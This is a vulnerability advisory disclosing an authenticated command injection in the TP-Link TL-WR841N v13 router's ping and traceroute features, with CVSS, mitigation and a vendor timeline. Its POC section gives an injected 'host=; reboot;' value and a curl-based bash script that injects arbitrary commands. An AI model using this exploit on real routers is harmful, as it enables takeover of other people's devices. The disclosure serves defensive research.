TP-Link TL-WR841N V13 Command Injection

Credit: Tim Coen
Risk: High
Local: No
Remote: Yes

* Vulnerability: Authenticated Blind Command Injection * Affected Software: TP-Link TL-WR841N v13 * Affected Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n * Patched Version: None * Risk: High * Vendor Contacted: 05/20/2018 * Vendor Fix: None * Public Disclosure: 06/27/2018 ##### Overview The ping and traceroute functionalities allow for OS command injection. An authenticated attacker can use this to execute arbitrary commands on the router by sending specifically crafter HTTP requests to it. ##### CVSS High 8.7 CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H ##### Details The ping and traceroute functionalities accept user input and insert it into a command without sanitation. An attacker can for example insert further commands via a semicolon. It should be noted that a user can already gain code execution by uploading a custom firmware version. However, because of this vulnerability, an attack could be performed by a remote attacker via a CSRF issue in the same firmware version. Up until the previous firmware version the attack could also be performed by an unauthenticated attacker from the internal network because of a broken authentication issue. ##### POC A successful attack requires the issuing of two POST requests. An attack can for example be performed by intercepting the POST request to "/cgi" and changing "host=" to "host=; reboot;" The following script can be used to automate the process: if [ "$#" -ne 3 ]; then echo "Usage: ./ 'user' 'pass' 'reboot'" fi USER=$1 PASS=$2 COMMAND=$3 AUTH=$(echo -ne "$USER:$PASS" | base64) BINARY1=$'[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\x0d\x0adataBlockSize=64\x0d\x0atimeout=1\x0d\x0anumberOfRepetitions=4\x0d\x0ahost=;' BINARY2=$';\x0d\x0aX_TP_ConnName=ewan_ipoe_d\x0d\x0adiagnosticsState=Requested\x0d\x0a' curl -i -s -k -X 'POST' '' -H 'Referer:' -H "Cookie: Authorization=Basic $AUTH" --data-binary "$BINARY1$COMMAND$BINARY2" curl -i -s -k -X 'POST' '' -H 'Referer:' -H "Cookie: Authorization=Basic $AUTH" --data-binary $'[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a' ##### Solution The vendor did not fix the issue. As an attack is only possible by an authenticated attacker or by exploiting other vulnerabilities - such as CSRF issues or broken authentication - users are advised to use secure passwords and to mitigate against other vulnerabilities. ##### Timeline - 05/20/2018 Requested email address via contact form (no response) - 05/24/2018 Send advisory to asking for confirmation, set disclosure date (no response) - 06/01/2018 Asked for confirmation at - 06/04/2018 Vendor confirmed receipt of advisory - 06/12/2018 Requested Status Update - 06/14/2018 Vendor claims they never received advisory - 06/14/2018 Resend advisory asking for confirmation (no response) - 06/18/2018 Reminded vendor of disclosure date (no response) - 06/18/2018 Requested CVE - 06/19/2018 CVE assigned - 06/27/2018 Disclosure -- PGP Key:

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